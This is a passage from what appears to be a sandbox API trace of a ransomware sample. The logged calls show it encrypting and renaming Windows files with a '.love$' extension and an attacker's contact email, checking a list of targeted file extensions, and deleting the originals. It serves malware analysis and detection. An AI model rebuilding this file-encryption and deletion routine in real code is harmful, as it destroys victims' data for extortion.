out: lpBuffer=0x35d2020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.321] WriteFile (in: hFile=0x358, lpBuffer=0x35d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x35d2020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1 [0285.322] SetEndOfFile (hFile=0x358) returned 1 [0285.322] CloseHandle (hObject=0x358) returned 1 [0285.322] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.322] SetEndOfFile (hFile=0x37c) returned 1 [0285.323] CloseHandle (hObject=0x37c) returned 1 [0285.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0285.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0285.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0285.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0285.937] lstrlenW (lpString=".doc") returned 4 [0285.937] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.937] lstrlenW (lpString=".docx") returned 5 [0285.937] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.937] lstrlenW (lpString=".pdf") returned 4 [0285.937] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.937] lstrlenW (lpString=".xls") returned 4 [0285.937] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.937] lstrlenW (lpString=".xlsx") returned 5 [0285.937] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.937] lstrlenW (lpString=".ppt") returned 4 [0285.937] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0285.937] lstrlenW (lpString=".zip") returned 4 [0285.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.937] lstrlenW (lpString=".rar") returned 4 [0285.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.937] lstrlenW (lpString=".bz2") returned 4 [0285.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.938] lstrlenW (lpString=".7z") returned 3 [0285.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0285.938] lstrlenW (lpString=".dbf") returned 4 [0285.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0285.938] lstrlenW (lpString=".1cd") returned 4 [0285.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0285.938] lstrlenW (lpString=".jpg") returned 4 [0285.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0285.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0285.938] lstrlenW (lpString=".doc") returned 4 [0285.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.938] lstrlenW (lpString=".docx") returned 5 [0285.938] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.938] lstrlenW (lpString=".pdf") returned 4 [0285.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.938] lstrlenW (lpString=".xls") returned 4 [0285.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.938] lstrlenW (lpString=".xlsx") returned 5 [0285.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.938] lstrlenW (lpString=".ppt") returned 4 [0285.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0285.939] lstrlenW (lpString=".zip") returned 4 [0285.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.939] lstrlenW (lpString=".rar") returned 4 [0285.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.939] lstrlenW (lpString=".bz2") returned 4 [0285.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.939] lstrlenW (lpString=".7z") returned 3 [0285.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0285.939] lstrlenW (lpString=".dbf") returned 4 [0285.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0285.939] lstrlenW (lpString=".1cd") returned 4 [0285.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0285.939] lstrlenW (lpString=".jpg") returned 4 [0285.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.939] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0285.939] lstrlenW (lpString="AN04108_.WMF") returned 12 [0285.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0285.940] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=2344) returned 1 [0285.940] CloseHandle (hObject=0x37c) returned 1 [0285.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220 [0285.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0285.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0285.941] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.941] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0285.942] GetLastError () returned 0x0 [0285.942] ReadFile (in: hFile=0x37c, lpBuffer=0x35d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x35d2020*, lpNumberOfBytesRead=0x2abfecc*=0x928, lpOverlapped=0x0) returned 1 [0285.947] WriteFile (in: hFile=0x35c, lpBuffer=0x35d2020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x35d2020*, lpNumberOfBytesWritten=0x2abfc94*=0x930, lpOverlapped=0x0) returned 1 [0285.949] ReadFile (in: hFile=0x37c, lpBuffer=0x35d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x35d2020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1 [0285.949] WriteFile (in: hFile=0x35c, lpBuffer=0x35d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x35d2020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1 [0285.949] SetEndOfFile (hFile=0x35c) returned 1 [0285.950] CloseHandle (hObject=0x35c) returned 1 [0285.950] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.950] SetEndOfFile (hFile=0x37c) returned 1 [0285.951] CloseHandle (hObject=0x37c) returned 1 [0285.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0285.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0285.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0285.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0285.953] lstrlenW (lpString=".doc") returned 4 [0285.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.953] lstrlenW (lpString=".docx") returned 5 [0285.953] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.953] lstrlenW (lpString=".pdf") returned 4 [0285.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.953] lstrlenW (lpString=".xls") returned 4 [0285.953] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.953] lstrlenW (lpString=".xlsx") returned 5 [0285.953] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.953] lstrlenW (lpString=".ppt") returned 4 [0285.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0285.953] lstrlenW (lpString=".zip") returned 4 [0285.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.954] lstrlenW (lpString=".rar") returned 4 [0285.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.954] lstrlenW (lpString=".bz2") returned 4 [0285.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.954] lstrlenW (lpString=".7z") returned 3 [0285.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0285.954] lstrlenW (lpString=".dbf") returned 4 [0285.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0285.954] lstrlenW (lpString=".1cd") returned 4 [0285.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0285.954] lstrlenW (lpString=".jpg") returned 4 [0285.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0285.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0285.954] lstrlenW (lpString=".doc") returned 4 [0285.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.954] lstrlenW (lpString=".docx") returned 5 [0285.954] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.954] lstrlenW (lpString=".pdf") returned 4 [0285.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.954] lstrlenW (lpString=".xls") returned 4 [0285.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.955] lstrlenW (lpString=".xlsx") returned 5 [0285.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.955] lstrlenW (lpString=".ppt") returned 4 [0285.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0285.955] lstrlenW (lpString=".zip") returned 4 [0285.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.955] lstrlenW (lpString=".rar") returned 4 [0285.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.955] lstrlenW (lpString=".bz2") returned 4 [0285.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.955] lstrlenW (lpString=".7z") returned 3 [0285.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0285.955] lstrlenW (lpString=".dbf") returned 4 [0285.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0285.955] lstrlenW (lpString=".1cd") returned 4 [0285.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0285.955] lstrlenW (lpString=".jpg") returned 4 [0285.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.956] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0285.956] lstrlenW (lpString="AN04117_.WMF") returned 12 [0285.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0285.956] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=6060) returned 1 [0285.956] CloseHandle (hObject=0x37c) returned 1 [0285.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220 [0285.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0285.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0285.957] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.957] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1 [0285.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0285.958] GetLastError () returned 0x0 [0285.958] ReadFile (in: hFile=0x37c, lpBuffer=0x35d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x35d2020*, lpNumberOfBytesRead=0x2abfecc*=0x17ac, lpOverlapped=0x0) returned 1 [0285.959] WriteFile (hFile=0x35c, lpBuffer=0x35d2020, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0) Thread: id = 97 os_tid = 0xd00 [0282.897] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10000) returned 0x36e0048 [0282.898] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10000) returned 0x36f0050 [0282.898] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53af98 [0282.898] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x6) returned 0x57a2c8 [0282.898] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53aec0 [0282.898] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x100000) returned 0x37e3020 [0282.902] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53af80 [0282.902] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x53af80, Size=0x20) returned 0x51d580 [0282.902] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53acc8 [0282.902] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x53acc8, Size=0x20) returned 0x51d8f0 [0282.902] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.902] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.902] Wow64DisableWow64FsRedirection (in: OldValue=0x2bfff50 | out: OldValue=0x2bfff50*=0x0) returned 1 [0282.902] lstrlenW (lpString="kernel32.dll") returned 12 [0282.902] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d580 | out: hHeap=0x4e0000) returned 1 [0282.902] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.902] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d8f0 | out: hHeap=0x4e0000) returned 1 [0282.903] Sleep (dwMilliseconds=0x64) [0283.168] Sleep (dwMilliseconds=0x64) [0283.406] lstrcmpiW (lpString1=".LOG", lpString2=".love$") returned -1 [0283.406] lstrlenW (lpString="BCD.LOG") returned 7 [0283.406] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.406] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0283.406] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0283.406] lstrlenW (lpString=".doc") returned 4 [0283.406] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0283.406] lstrlenW (lpString=".docx") returned 5 [0283.406] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0283.406] lstrlenW (lpString=".pdf") returned 4 [0283.406] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0283.406] lstrlenW (lpString=".xls") returned 4 [0283.406] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0283.406] lstrlenW (lpString=".xlsx") returned 5 [0283.406] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0283.406] lstrlenW (lpString=".ppt") returned 4 [0283.406] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0283.406] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0283.406] lstrlenW (lpString=".zip") returned 4 [0283.406] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0283.407] lstrlenW (lpString=".rar") returned 4 [0283.407] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0283.407] lstrlenW (lpString=".bz2") returned 4 [0283.407] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0283.407] lstrlenW (lpString=".7z") returned 3 [0283.407] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0283.407] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0283.407] lstrlenW (lpString=".dbf") returned 4 [0283.407] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0283.407] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0283.407] lstrlenW (lpString=".1cd") returned 4 [0283.407] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0283.407] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0283.407] lstrlenW (lpString=".jpg") returned 4 [0283.407] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0283.407] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0283.407] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0283.407] lstrlenW (lpString=".doc") returned 4 [0283.407] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0283.407] lstrlenW (lpString=".docx") returned 5 [0283.407] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0283.407] lstrlenW (lpString=".pdf") returned 4 [0283.407] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0283.407] lstrlenW (lpString=".xls") returned 4 [0283.407] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0283.408] lstrlenW (lpString=".xlsx") returned 5 [0283.408] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0283.408] lstrlenW (lpString=".ppt") returned 4 [0283.408] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0283.408] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0283.408] lstrlenW (lpString=".zip") returned 4 [0283.408] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0283.408] lstrlenW (lpString=".rar") returned 4 [0283.408] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0283.408] lstrlenW (lpString=".bz2") returned 4 [0283.408] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0283.408] lstrlenW (lpString=".7z") returned 3 [0283.408] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0283.408] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0283.408] lstrlenW (lpString=".dbf") returned 4 [0283.408] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0283.408] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0283.408] lstrlenW (lpString=".1cd") returned 4 [0283.408] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0283.408] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0283.408] lstrlenW (lpString=".jpg") returned 4 [0283.408] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0283.408] Sleep (dwMilliseconds=0x64) [0283.877] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0283.878] lstrlenW (lpString="ipscsy.xml") returned 10 [0283.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0284.087] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=2556) returned 1 [0284.087] CloseHandle (hObject=0x318) returned 1 [0284.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0284.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.087] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0284.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0284.087] lstrlenW (lpString=".doc") returned 4 [0284.087] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0284.087] lstrlenW (lpString=".docx") returned 5 [0284.087] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0284.087] lstrlenW (lpString=".pdf") returned 4 [0284.087] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0284.087] lstrlenW (lpString=".xls") returned 4 [0284.087] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0284.087] lstrlenW (lpString=".xlsx") returned 5 [0284.088] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0284.088] lstrlenW (lpString=".ppt") returned 4 [0284.088] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0284.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0284.088] lstrlenW (lpString=".zip") returned 4 [0284.088] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0284.088] lstrlenW (lpString=".rar") returned 4 [0284.088] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0284.088] lstrlenW (lpString=".bz2") returned 4 [0284.088] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0284.088] lstrlenW (lpString=".7z") returned 3 [0284.088] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0284.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0284.088] lstrlenW (lpString=".dbf") returned 4 [0284.088] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0284.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0284.088] lstrlenW (lpString=".1cd") returned 4 [0284.088] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0284.088] lstrlenW (lpString="C:\\Program Files\\Common 